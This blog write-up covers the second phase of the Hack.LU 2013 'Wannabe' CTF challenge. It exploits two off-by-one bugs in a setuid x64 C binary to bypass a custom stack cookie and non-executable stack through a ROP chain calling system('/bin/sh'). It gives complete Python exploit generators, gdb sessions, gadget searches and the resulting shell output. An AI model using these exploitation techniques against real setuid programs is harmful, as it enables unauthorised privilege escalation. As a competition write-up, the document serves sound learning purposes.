Introduction
This blogpost contains a writeup of the second phase of the Hack.LU 2013 Wannabe challenge. The first phase writeup can be found here: Hack.LU 2013 CTF Wannabe Writeup Part One: Web Exploitation
During the first phase, we managed to get ourselves a limited shell (www-data) on a webserver. In this phase, we had to exploit a custom C program compiled for Linux x64 which contained a couple of buffer overflow vulnerabilities. Because of some memory protection measures, a Return-Oriented Programming (ROP) approach was taken. The whole process is described in more detail below.
Goal
After briefly investigating the filesystem of the webserver, it became apparent what our next goal was. We located a file called ‘sign_key.flag’ in user ‘arthur’ his home directory, amongst some others. It was only readable by its owner, arthur. There was also a cronjob running a script called ‘inspector’ every 17 minutes. This script did nothing more than running a custom x64 ELF binary in /home/arthur/bin called ‘control’ with the argument ‘–clean’ and piping this to a log file ‘inst.log’. This binary had the suid bit set, meaning that it will be running under the privileges of its owner, arthur, when executed. We should leverage vulnerabilities in this binary to execute code in the context of the user ‘arthur’, in order to read the contents of the flag file.
Luckily, the source code of this custom binary was also present in the /home/arthur/bin directory (control.c), allowing us to investigate the code for vulnerabilities. Both the precompiled x64 ELF file ‘control’ and its source code ‘control.c’ are provided as a download archive at the bottom of this post.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
id uid=33(www-data) gid=33(www-data) euid=1000(arthur) groups=1000(arthur),33(www-data) cd /home/arthur ls -la total 56 drwxr-xr-x 3 arthur arthur 4096 Oct 20 15:15 . drwxr-xr-x 3 root root 4096 Oct 14 12:52 .. -rw-r--r-- 1 arthur arthur 220 Apr 3 2012 .bash_logout -rw-r--r-- 1 arthur arthur 3486 Apr 3 2012 .bashrc -rw-r--r-- 1 arthur arthur 675 Apr 3 2012 .profile -rw-r--r-- 1 arthur arthur 75 Oct 14 21:30 .selected_editor drwxr-xr-x 2 arthur arthur 4096 Oct 21 14:15 bin -rw-r--r-- 1 arthur arthur 16474 Oct 29 09:17 insp.log -rw------- 1 arthur arthur 33 Oct 20 13:47 pass -rw------- 1 arthur arthur 24 Oct 14 21:24 sign_key.flag cd bin ls -la total 36 drwxr-xr-x 2 arthur arthur 4096 Oct 21 14:15 . drwxr-xr-x 3 arthur arthur 4096 Oct 20 15:15 .. -rwsr-xr-x 1 arthur arthur 17626 Oct 21 14:13 control -r--r--r-- 1 arthur arthur 4395 Oct 21 14:13 control.c cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # cd /etc/cron.hourly ls -la total 16 drwxr-xr-x 2 root root 4096 Oct 22 22:08 . drwxr-xr-x 71 root root 4096 Oct 24 07:41 .. -rw-r--r-- 1 root root 102 Apr 2 2012 .placeholder -rwxr-xr-- 1 root root 106 Oct 22 22:08 inspector cat inspector #!/bin/sh cd /var/www/ /home/arthur/bin/control --clean >> /home/arthur/insp.log rm /var/www/upload/* -rf /home/arthur/bin/control --clean >> /home/arthur/insp.log |
It was noticed that insp.log, the output file of every crontab execution of the custom control application readable by everyone including www-data, contained the flag as part of the output of a previous exploitation attempt. This may explain why 7 teams managed to solve this challenge the morning shortly before the CTF deadline… or not.
The x64 ELF control binary was examined for memory protection measures with the checksec script:
1 2 3 |
# ./checksec.sh --file control RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH control |
Our biggest concern will be the Non-eXecutable stack (NX). This will require us to take a ROP-approach. Luckily, the binary was not compiled as a Position-Independent-Executable (PIE), so its code section (executable by default) is not randomized and we can leverage it to find suitable gadgets.
Buffer Overflow Vulnerabilities
The application presents us with two different code paths that get triggered based on the first command line parameter: –clean or –sign. The sign option requires us to provide a password that is eventually compared with a string in the file /home/arthur/pass, which is not readable for user www-data, so this seems like a dead end:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
[...] void sign(char *source, char* password) { int overflow = cookie; FILE *src_file; unsigned int size = 0; char *buffer = NULL; char *file = NULL; char path[30]; if (strcmp(password, pass)) { fprintf(stderr, "Wrong password...\n"); exit(5); } [...] |
Looking more into the clean option, its functionality became clear: it parses all files in the ./upload/ directory for lines containing “system();” strings, outputs positives to stdout, and then removes them. This keeps the upload directory of the web application clean (see also part one). However, the implementation is not perfect..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
#include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <string.h> char key[32]; char pass[32]; unsigned char cnt = 0; int i = 0; char *check_dir = "./upload/"; char *flag_file = "/home/arthur/sign_key.flag"; char *pass_file = "/home/arthur/pass"; char found[255][192]; int cookie; [...] void clean_uploads() { unsigned int i; struct dirent *dir; DIR *d; char path[256]; bzero(path, 256); d = opendir(check_dir); if (d) { while ((dir = readdir(d)) != NULL) { if (!strcmp(".", dir->d_name) || !strcmp("..", dir->d_name)) continue; inspect(dir->d_name); snprintf(path, 255, "%s%s", check_dir, dir->d_name); remove(path); } log_result(cnt); closedir(d); } } void inspect(char *filename) { FILE *fp; char path[255]; char tmp[511]; char *pos; snprintf(path, 255, "%s%s", check_dir, filename); if ((fp = fopen(path, "r")) == NULL) return; while (fgets(tmp, 511, fp) != NULL) { if ((pos = strstr(tmp, "system(\"")) != NULL) { unsigned int length; char *end = strstr(pos, "\");"); if (end == NULL) continue; length = end-(pos+8); if (length > 192) length = 192; strncpy(found[cnt], pos+8, length); cnt++; } } } void log_result(unsigned char cnt) { int overflow = cookie; char buffer[224]; bzero(buffer, 224); for (i=0; i<cnt; i++) { snprintf(buffer, strlen(found[i])+32, "systemcall (%d/%d): %s", i+1, cnt, found[i]); puts(buffer); } if (overflow != cookie) { printf("overflow shit, cookie does not match: %s...\n", overflow); abort(); } } |
The clean_uploads function is the starting point and does nothing more than looping through all elements in the ./upload/ directory, calling the inspect function on each entry and remove them afterwards. When all elements are removed, the function log_result is called to print out the findings of the inspect function.
The inspect function takes the name of an element of the ./upload/ directory and attempts to parse this element (if it’s a readable file), looking for “system(argument);” strings on each line (see fgets). If there’s a hit, the string argument of the system call is taken and written to a global two-dimensial character array found[255][192]. Another global variable cnt is incremented since it is used to keep track of the number of hits. It also serves as an index in the found array (see line 69-70).
The log_result function prints each of the cnt elements of the global found variable to stdout, prefixed with some information about the call’s position and the total number of detected systemcalls. The prefix is concatenated with the system call argument by means of snprintf (see line 82-85), and copied into a local function variable buffer[224]. The number of bytes copied is equal to strlen(found[i])+32. Since found[i] contains maximum 192 bytes and the prefix string is always smaller than 32 bytes, this should never go wrong, would it?
Off-by-one
When the argument for an identified system(argument) call is longer than 192 bytes, the number of bytes that are written to the found[cnt][192] variable is exactly 192 (line 65-69), which leaves no room for a trailing null-byte (static variables contain zeroes by default in C). This can be leveraged in the log_result function, where strlen() is used on elements of the found[] array to determine the number of bytes to be written to a local buffer[224] variable (line 83). When we construct a file containing two lines with “system(arg);”, where arg is a string longer than 192 bytes, at least 192*2=384 bytes will be written to the local buffer variable, which only has room for 224 bytes. This implies that the off-by-one vulnerability in the inspect function can be exploited to smash the stack of the log_result function.
Off-by-one (2)
However, the log_result function contains a custom canary stack smashing protection measure. In the beginning of the function, the value of the global cookie variable is assigned to a local variable overflow. Since this local variable overflow is declared before the local buffer[224] variable and thus located after this variable in memory (stack grows down), it is overwritten when the call to the snprintf function on line 83 overwrites an overly long string to this local buffer[224] in order to overwrite the return address of the function and smash the stack. This can be verified easily by debugging with gdb. First, put a file with two system()calls containing respectively 200 A’s and B’s in a local upload directory, and then execute the control binary in gdb, breakpointing after the loop of the log_result function. Inspect the variable contents:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
# cat upload/canarypoc system("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); system("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); # gdb control [...] Reading symbols from /tmp/wannabe/control...done. (gdb) b *log_result+238 Breakpoint 1 at 0x4014e7 (gdb) run --clean Starting program: /tmp/wannabe/control --clean systemcall (1/2): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB systemcall (2/2): BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Breakpoint 1, 0x00000000004014e7 in log_result () (gdb) x/10i $pc => 0x4014e7 <log_result+238>: mov eax,DWORD PTR [rip+0x20c7f3] # 0x60dce0 <cookie> 0x4014ed <log_result+244>: cmp DWORD PTR [rbp-0x24],eax 0x4014f0 <log_result+247>: je 0x40150b <log_result+274> 0x4014f2 <log_result+249>: mov eax,DWORD PTR [rbp-0x24] 0x4014f5 <log_result+252>: mov esi,eax 0x4014f7 <log_result+254>: mov edi,0x401730 0x4014fc <log_result+259>: mov eax,0x0 0x401501 <log_result+264>: call 0x400a30 <printf@plt> 0x401506 <log_result+269>: call 0x4009a0 <abort@plt> 0x40150b <log_result+274>: add rsp,0x108 (gdb) x/xw &cookie 0x60dce0 <cookie>: 0x5c0b01c1 (gdb) x/xw $rbp-0x24 0x7fff7af9ca5c: 0x42424242 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. |
Thus, in order to overwrite the stack, we must make sure the local overflow variable contains the same value as the global cookie variable after we overwrite its value with our own payload. This requires us to know the value of cookie beforehand, but unfortunately, it is initialized to a random value in the constructor of the program based on /dev/urandom, which is not guessable.
However, there is another off-by-one error that can be reached in the inspect function. The global cnt variable is of type unsigned char, which can take 256 values (0-255) by design. However, the global found[255] array only contains 255 elements (0-254). When we construct a file containing 256 valid system() calls, the argument of the 256th line will be written to element found[255], which is exactly the memory address of the cookie variable. This can also be verified empirically with GDB by constructing a file that contains 256 system() calls, the last one containing a string of which the first four bytes will overwrite the global cookie variable contents:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# cat cookie.py f = open("upload/cookiepoc", "wb") for i in range(255): f.write('system("A");\n') f.write('system("BBBB");\n') # python cookie.py # gdb ./control [...] Reading symbols from /tmp/wannabe/control...done. (gdb) b main Breakpoint 1 at 0x400d35 (gdb) b log_result Breakpoint 2 at 0x4013fd (gdb) run --clean Starting program: /tmp/wannabe/control --clean Breakpoint 1, 0x0000000000400d35 in main () (gdb) x/xw &cookie 0x60dce0 <cookie>: 0x0507c83e (gdb) c Continuing. Breakpoint 2, 0x00000000004013fd in log_result () (gdb) x/xw &cookie 0x60dce0 <cookie>: 0x42424242 (gdb) print cnt $2 = 0 '\000' |
Also, note that the global unsigned char cnt variable wrapped around from 256 to 0 again, making the log_result function believe no elements are present in the global found variable.
Exploitation
We now have all ingredients to successfully overwrite the return address of the log_result function:
- We first put an arbitrary value in the global cookie variable by exploiting the second off-by-one vulnerability (256 lines with valid system() calls, the last one controlling the cookie value)
- We then exploit the first off-by-one vulnerability to overwrite the local buffer[224] variable on the stack and take ownership of the return address, making sure that we overwrite the local overflow variable with the same value as set in the previous step.
- We take a ROP-oriented approach (Non-eXecutable stack, remember?): the ultimate goal is to get a shell with privileges of user ‘arthur’.
Return-Oriented Programming
In order to successfully conduct step two, offsets to the overflow variable and the return address were calculated. Next, a suitable address to jump back to was located by examining the external functions that the control x64 ELF binary imports:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
# nm -D control w __gmon_start__ U __libc_start_main U abort U bzero U closedir U exit U fclose U fgets U fopen U fprintf U fread U fseek U ftell U fwrite U malloc U opendir U printf U puts U rand U readdir U remove U snprintf U srand 0000000000601d40 B stderr U strcmp U strlen U strncpy U strstr U system # objdump -j .plt -D control | grep system 0000000000400a20 <system@plt>: # gdb ./control [...] (gdb) x/i 0x0000000000400a20 0x400a20 <system@plt>: jmp QWORD PTR [rip+0x20124a] # 0x601c70 <system@got.plt> |
Especially the last import seemed interesting: system. It expects one string parameter containing the command it must execute on the underlying system – in our case this would be /bin/sh preferably. On the x64 Linux architecture, the calling convention states that the rdi register should hold the first paramater, in our case the address of the string “/bin/sh” in memory. So in order to get there, we have to:
- Introduce the string “/bin/sh” at a known location in memory
- Get the address of this string in register RDI via some gadget
- Return to address 0000000000400a20 (call system())
Get string in memory
To fulfill requirement one, we decided to put our string right after the overwritten global cookie variable. Since we know the location of this variable in memory (it is not randomized since binary is not PIE), we just add 0x4 to this address to get the address of our string:
1 2 |
# nm -a control | grep cookie 000000000060dce0 B cookie |
So our string address is 000000000060dce0+0x4 = 000000000060dce4
Locate gadgets
We managed to find a gadget that pops a value from the stack into RDI and then returns with the ROPgadget github project:
1 2 3 4 5 6 7 8 9 |
# ./ROPgadget --intel -nopayload /tmp/wannabe/control Gadgets information ============================================================ 0x0000000000400ba5: pop rbp ; ret 0x0000000000401583: pop rdi ; ret Unique gadgets found: 2 This binary depends on shared libraries (you might want to check these): libc.so.6 |
This is actually a code splicing case (opcode 5f c3). The real command was pop r15 (opcode 41 5f c3):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# objdump -D --start-address=0x0000000000401580 --stop-address=0x0000000000401585 -M intel control control: file format elf64-x86-64 Disassembly of section .text: 0000000000401580 <__libc_csu_init+0x60>: 401580: 41 5e pop r14 401582: 41 5f pop r15 401584: c3 ret # objdump -D --start-address=0x0000000000401583 --stop-address=0x0000000000401585 -M intel control control: file format elf64-x86-64 Disassembly of section .text: 0000000000401583 <__libc_csu_init+0x63>: 401583: 5f pop rdi 401584: c3 ret |
Good job ROPgadget! If we now overwrite the return address with the following values onwards, we should be able to end up calling system(“/bin/sh”):
[0x0000000000401583] [000000000060dce4] [0000000000400a20]
However, as can be seen, we have a lot of null characters to write, which is a bad character since the length calculation we exploit is strlen().
Write null characters
We clearly need the ability to write null characters to arbitrary locations in our buffer. To achieve this, we can exploit the fact that the specification of snprintf states that ‘A terminating null character is automatically appended after the content written’, combined with the knowledge that we keep overwriting the same buffer in memory in our loop. Arbitrary null character writes can be achieved with the following algorithm:
- Locate the rightmost null character in our payload of length n. Let’s call this position pos. If not found, jump to 5
- Write an arbitrary string of length pos+1 concatenated with the rightmost part of payload that does not contain a null character, payload,substring(pos+1,n), to the stack buffer.
- Redefine payload as payload.substring(0,pos)
- Go back to step 1
- Write payload string to stack buffer
This algorithm works because every non-null part of the payload eventually ends up as the rightmost part of payload that gets written to memory in step 2 or 5. This part will never be overwritten by a next memory write, since the length of payload is decreased in step 3. On the contrary, the arbitrary string in step 2 is overwritten with a new arbitrary string and a part of of the real payload in a next iteration, including the null character that was handled in the previous iteration. Note that the maximum number of loops must be lower than 256 in this case, otherwise the global cnt variable will wrap over.
More bad characters
So we finally thought we were ready to get a shell and compiled our exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#!/usr/bin/env python import os import struct def writefile(f, payload): f.write('system("'+payload+'");\n') def writecookie(f, payload): for i in range(255): writefile(f, str(i+1)) writefile(f, payload) def writeoverflow(f, payload): writefile(f, 'X'*192) writefile(f, payload) def writepayload(f, payload): pos = payload.rfind('\x00'); while(pos <> -1): # write part right of nullbyte (implicitely write nullbyte for previous part) writeoverflow(f, 'C'*(pos+1) + payload[pos+1:]) # decrease payload payload = payload[:pos] pos = payload.rfind('\x00'); writeoverflow(f,payload) # create directory and file os.system('rm -r upload') os.system('mkdir upload') f = open("upload/kingarthur", "wb") # exploit overflow vulnerabilities cookie = "XXXX" gadget = 0x401583 binsh = 0x60dce4 system = 0x400a20 overflow_offset = 24 rip_offset_from_overflow = 40 # write global cookie value writecookie(f,cookie+'/bin/sh') # write payload that will call system('/bin/sh') via ROP writepayload(f, 'A'*overflow_offset + cookie + 'B'*rip_offset_from_overflow + struct.pack("<Q", gadget) + struct.pack("<Q", binsh) + struct.pack("<Q", system)) |
This only provided us a segmentation fault upon execution control –clean, not more:
1 2 3 4 5 6 |
# /home/arthur/bin/control 2>&1 --clean systemcall (1/31): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [...] systemcall (30/31): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB�@ systemcall (31/31): AAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB�@ Segmentation fault |
After a lot of debugging, we figured out it had to do with the system@plt address, 0x400a20. When replacing this value with the address of puts@plt, 0x4009d0, the string “/bin/sh” was spit out as expected before crashing:
1 2 3 4 5 6 7 |
# /home/arthur/bin/control 2>&1 --clean systemcall (1/31): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [...] systemcall (30/31): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB�@ systemcall (32/32): AAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB�@ /bin/sh Segmentation fault |
Finally, it became clear: the system address contained a bad character, namely 0x0a. This is interpreted as a newline by fgets, and it will stop parsing the current line and never detect the vital system(arg); string on this line. So this address was not usable anymore, since there is no way to get around the fgets specification. We could have tried to find some more rop gadgets to calculate this address on-the-go and then jump to it, but we chose a different path.
We figured that, if the binary imports the system function, it probably uses it somewhere too. Near the end of the sign function, we have a call to system:
1 2 3 4 5 6 7 |
[...] char cmd[128]; bzero(cmd, 128); snprintf(cmd, 127, "cat %s | sha512sum | awk '{print $1}' > signature", path); system(cmd); [..] |
We located the corresponding assembly code in gdb:
1 2 3 4 5 6 7 |
(gdb) disas sign [...] 0x0000000000401078 <+624>: call 0x400a40 <snprintf@plt> 0x000000000040107d <+629>: lea rax,[rbp-0xd0] 0x0000000000401084 <+636>: mov rdi,rax 0x0000000000401087 <+639>: call 0x400a20 <system@plt> [...] |
By replacing the address of the direct call to system with the address where the sign function calls system (0x401087), we finally got our shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
/home/arthur/bin/control 2>&1 --clean systemcall (1/32): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [...] systemcall (32/32): AAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB�@ # id uid=33(www-data) gid=33(www-data) euid=1000(arthur) groups=1000(arthur),33(www-data) whoami arthur cd /home/arthur ls -la total 56 drwxr-xr-x 3 arthur arthur 4096 Oct 20 15:15 . drwxr-xr-x 3 root root 4096 Oct 14 12:52 .. -rw-r--r-- 1 arthur arthur 220 Apr 3 2012 .bash_logout -rw-r--r-- 1 arthur arthur 3486 Apr 3 2012 .bashrc -rw-r--r-- 1 arthur arthur 675 Apr 3 2012 .profile -rw-r--r-- 1 arthur arthur 75 Oct 14 21:30 .selected_editor drwxr-xr-x 2 arthur arthur 4096 Oct 21 14:15 bin -rw-r--r-- 1 arthur arthur 16474 Oct 29 09:17 insp.log -rw------- 1 arthur arthur 33 Oct 20 13:47 pass -rw------- 1 arthur arthur 24 Oct 14 21:24 sign_key.flag cat sign_key.flag St4cK_****************_wRoNG cat pass li23j****************3o83o |
No more gadgets
We can even eliminate the gadget by leveraging the fact that the legitimate code that calls system() also must prepare rdi to hold the command address. As can be seen in the excerpt from the sign function above, at address 0x40107d, the rax register is populated with address [rbp-0xd0] via a LEA assembly command. Hereafter rdi is populated with the value of the rax register, and then system is called. Since we also control the rbp register after smashing the log_result function, we can adapt our exploit. We make sure that the value we overwrite rbp with is equal to the address of our “/bin/sh” string added with this offset: 0x60dce4 + 0xd0: 0x60ddb4. Here’s the final python code that creates the exploit file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
#!/usr/bin/env python import os import struct def writefile(f, payload): f.write('system("'+payload+'");\n') def writecookie(f, payload): for i in range(255): writefile(f, str(i+1)) writefile(f, payload) def writeoverflow(f, payload): writefile(f, 'X'*192) writefile(f, payload) def writepayload(f, payload): pos = payload.rfind('\x00'); while(pos <> -1): # write part right of nullbyte (implicitely write nullbyte for previous part) writeoverflow(f, 'C'*(pos+1) + payload[pos+1:]) # decrease payload payload = payload[:pos] pos = payload.rfind('\x00'); writeoverflow(f,payload) # create directory and file os.system('rm -r upload') os.system('mkdir upload') f = open("upload/kingarthur", "wb") # exploit overflow vulnerabilities cookie = "XXXX" binsh = 0x60ddb4 system = 0x40107d overflow_offset = 24 rbp_offset_from_overflow = 32 # write global cookie value writecookie(f,cookie+'/bin/sh') # write payload that will call system('/bin/sh') via ROP writepayload(f, 'A'*overflow_offset + cookie + 'B'*rbp_offset_from_overflow + struct.pack("<Q", binsh) + struct.pack("<Q", system)) |
1 2 3 4 5 6 |
# /home/arthur/bin/control 2>&1 --clean systemcall (1/22): XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [...] systemcall (22/22): AAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB��` # id uid=33(www-data) gid=33(www-data) euid=1000(arthur) groups=1000(arthur),33(www-data) |
Notice that this final exploit only uses 22 system() strings to encode the payload, as opposed to 32 in the previous exploit: the gadget address containing 5 null characters is removed.
Conclusion
The Hack.LU 2013 Wannabe CTF challenge of the Fluxfingers team consisted of two major parts: the first part required exploiting three vulnerabilities (SQL injection, PHP loose comparison, and PHP preg_replace remote command execution) in a custom web application to obtain a limited user shell on the target system. The second part required constructing an exploit that bypasses a Non-eXecutable stack (ROP) and a custom stack canary protection for a bespoke C application on a Linux x64 platform that contained two off-by-one vulnerabilities, in order to elevate privileges necessary for reading the flag.
I personally learned a new PHP vulnerability related to “loose comparison”, as well as how to write (ROP-based) buffer overflows for the x64 Linux operating system. I must say bravo to the Fluxfingers team, as I really had to give my maximum in order to solve all the different exploitation steps they meticulously prepared. Great job! Until next year…
Really good writeup. Thank you!
Awesome! Thanks for sharing!
Great job!!!
Very nice post where can i learn more about exploitation in the 64bit world 😀 trying to find papers so far nowhere
Hi,
Personally, I haven’t read any dedicated 64-bit exploitation tutorials before tackling this challenge and writing this blogpost. I merely adapted the public 32-bit exploitation techniques to the 64-bit assembly language, as this is basically all there is to it. I’m sure that after time elapses, more and more 64-bit papers will be published. Good luck!
Arne